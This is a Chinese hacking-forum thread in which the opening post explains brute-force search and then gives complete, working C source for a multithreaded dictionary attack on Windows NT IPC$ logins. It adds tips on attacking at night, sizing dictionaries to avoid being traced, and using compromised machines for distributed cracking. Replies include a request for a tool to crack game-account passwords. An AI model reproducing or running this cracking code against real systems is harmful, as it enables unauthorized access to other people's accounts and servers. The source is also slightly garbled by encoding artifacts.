黑色海岸线论坛 - Powered by Discuz! Board

标题: [原创]经典算法之穷举法 [打印本页]

作者: bigblock 时间: 2003-10-9 21:07 标题: [原创]经典算法之穷举法

[这个贴子最后由bigblock在 2003/10/29 05:08pm 第 1 次编辑] 一、穷举法理论　　穷举算法有点像数学上说的"完全归纳法",在问题答案可能的全部解集内逐一查询(测试)直到找出答案为止,这种算法在密码破解中得到了广泛的应用,但该算法的缺点是运算规模比较大,算法的"最好情况时间复杂度! "为1,"最坏情况时间复杂度"是n, "平均时间复杂度"是(((1+n)*n)/2)/n,另外在网络环境里进行远程破解还要考虑连接到远程机器所需花费的时间。使用穷举法进行密码破解的伪C代码算法大致的模型是这样的: 设:flag和done为BOOL型变量,pass为存放当前口令字串的char型数组变量,当flag为 TRUE时为找到密码,done为TRUE时为使用完了全部字典口令单词。 void docrackpassword(void *para) { char pass[MAX_PASSLEN]; do{ 生成或从文件读取一个口令字串放入pass; 进行一次本地或远程密码测试(使用pass里的口令字串); if(密码正确)flag=TURE; if(口令字典中的字串全部用完或已经生成完了全部口令字串) done=TRUE; }while(!flag&&!done) if(flag) printf("Yeah! Password is %s\n",pass); else printf("Password Not Found\n"); }//end docrackpassword 在一些国家有专门的高速破译设备来运行这些程序,这些机器大都有x个处理芯片、超大容量内存,一些常用的指令如:mov,inc,sub,add等都使用硬件实现,而非普通PC机器上使用! 的"微指令"技术,如IBM为美军方设计的"飓风"破! 译机就是一个典型的破译机器。举个例子：设: 有一个口令字典,其中有30万个口令字符串,服务器的口令包涵在口令字典内,穷举程序每连接到服务器进行一次口令测试需要5秒,则最好情况是我们口令字典中的第一个字串就是正确的,那么时间复杂度即为5秒,最坏的情况是第30万个口令字串才是正确的,则时间复杂度为300000*5=1500000(秒)=25000(分钟)=416小时>17天,如果在这17天内服务端没有更改密码还好一点,如果密码改成了我们已经测试使用过的字串,那么这一次的身份攻击就会失败。像这样的身份攻击,选取的攻击时间(多半在夜里,是常人休息的时间)和口令字典的设计关系到攻击的成败,一般口令字典的容量不应过大,但必须很典型(包括很多生日,电话号码,或是比较有意义的口令字串,成败于否都应该在5到7个小时内完成),否则可能会被跟踪到,从而产生一些意想不到的事. 另外在网络环境里将密码(口令)字串进行分段,然后进行多机(其中可能有一些是被你控制的机器,或是你朋友们的机器)"分布式并行计算"可以大大的提高解密的速度. 二、应用实! 例: Windows NT IPC$暴力密码破解程序首先应该获得远程NT机器的用户列表(可使用工具,或是写一个探测程序:参见refdom 的相关资料),可使用NTScan或XScan,如果使用这样的工具进行的弱口令测试不成功,那么 Down一个好用的口令字典,再用我的程序进行一下"爆破"试试吧! 源程序如下: #define _MT//多线程支持 #include //printf,fopen... #include //Sleep... #include //strcpy... #include //getch... #include //_beginthread... #include //WaitForSingleObject,EnterCriticalSection... #include //WNetAddConnection2... #pragma comment(lib,"libcmt.lib")//连接多线程C运行库 #pragma comment(lib,"mpr.lib")//连接Windows网络函数库 FILE *dic=NULL; int threads=0; char server[100]={0}, user[100]={""}; __declspec(thread) char password[20];//使用线程局部存储 CRITICAL_SECTION beswap;BOOL found=FALSE,done=FALSE; NETRESOURCE NET; DWORD re! t; void docrackNT(void *param) { while(1) { EnterCriticalSection(&beswap); if(!found&&!done) { if(!feof(dic)) fscanf(dic,"%s",password); else//如果用完了口令字典中的全部字串 { done=TRUE; LeaveCriticalSection(&beswap); return; } printf("Testting Password %-20s\r",password); ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&user,0); if(ret==0)//如果找到正确的密码 { printf("Found Password Wait For Threads to quit.....\n"); found=TRUE; WNetCancelConnection2(server,0,TRUE);//如果连接成功则断开,以免再次登录时出现冲突 } } else//如果用完了口令字典或是找到密码 { LeaveCriticalSection(&beswap); return; } //如果未用完口令字典,并且未找到正确口令 LeaveCriticalSection(&beswap); Sleep(20); } } void show(void) { system("cls"); printf("**********************************************\n"); printf("*****[ &! nbsp; Crack NT Password Ver 1.0 ]****\n"); printf("*****[ Code By Yellow ]****\n"); printf("*****[ Email:wjj2748_cn@sina.com.cn ]****\n"); printf("*****[ Date: 2003-09-13 ]****\n"); printf("**********************************************\n"); } int main(int argc,char **argv) { unsigned long hHandle; show(); if(argc!=5) { printf("\nCommand Line:\nCrackNT " "\n\tServer: Server Name or IP Address" "\n\tUser: User Name for Crack Password" &nb! sp; "\n\tDoc: Password Dict! ionary&q uot; "\n\tThreads: Max Threads\n\a"); getch(); exit(-1); } threads=atoi(argv[4]); strcpy(user,argv[2]); strcpy(server,argv[1]); sprintf(server,"\\\\%s\\IPC$",argv[1]);//可以使用Admin$...等 NET.lpLocalName = NULL; NET.lpProvider = NULL; NET.dwType = RESOURCETYPE_ANY; NET.lpRemoteName = (char*)&server; if((dic=fopen(argv[3],"r"))==NULL) { printf("Can't Open Password Dictionary %s\a\n",argv[3]); exit(-1); } InitializeCriticalSection(&beswap); printf("\nServer:%s\nUser:%s\nBegin Crack Password?(y/n):\a",argv[1],argv[2]); if(getch()=='y') { printf("\nBegin Cracking Password.....\n"); while(threads) { if(((unsigned long)hHandle=_beginthread(docrackNT,1024,NULL))==(unsigned long)-1) continue; else threads--; } WaitForSingleObject((HANDLE)hHandle,0xffffffff); getch(); if(found)//found成立时为? 业矫苈?br>printf("\nPassword is %s\a\n",password); else//否则为用完口令字典 printf("\nPassword Not Found\a\n"); } printf("\nPress Any Key To Exit......\a\n"); getch(); DeleteCriticalSection(&beswap); return 0; } 最后: 　　在调试这个程序时,我发现在一个有趣的现象,如果能先用Guest登录远程NT机器,那么穷举时速度飞快(可以在很短的时间内找到密码,或是用完口令字典),否则3到5秒才能测试一个密码字串(比较慢!!) 本程序在Windows 2000 Pro 5.00.2159 SP2下,由VC++ 6.0编译并调试通过,测试服务器为Windows NT 4.0 SP6.
作者: 白色流星 时间: 2004-5-11 14:40 标题: [原创]经典算法之穷举法

我需要一个破解网络游戏密码的软件.....
作者: 花无缺 时间: 2004-6-6 14:57 标题: [原创]经典算法之穷举法

要这个做什么，不做好事
作者: 白色流星 时间: 2004-6-8 21:18 标题: [原创]经典算法之穷举法

下面引用由花无缺在 2004/06/06 02:57pm 发表的内容：
要这个做什么，不做好事
晕~我要拿回属于我的东西~顺便清垃圾！ :em17:

作者: 风泽 时间: 2004-6-21 18:42 标题: [原创]经典算法之穷举法

代码用来学习网络变成是很不错的。
作者: x86 时间: 2004-9-20 17:19 标题: [原创]经典算法之穷举法

zhichi 发布代码！！！！！！
希望多又这样的帖子，我也会努力的饿
作者: 网魂 时间: 2004-9-22 17:16 标题: [原创]经典算法之穷举法

山幽谷笛声扬
白鹤振羽任翱翔
往事前尘随风逝
携手云峰隐仙乡
这诗是谁写的
不错啊

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2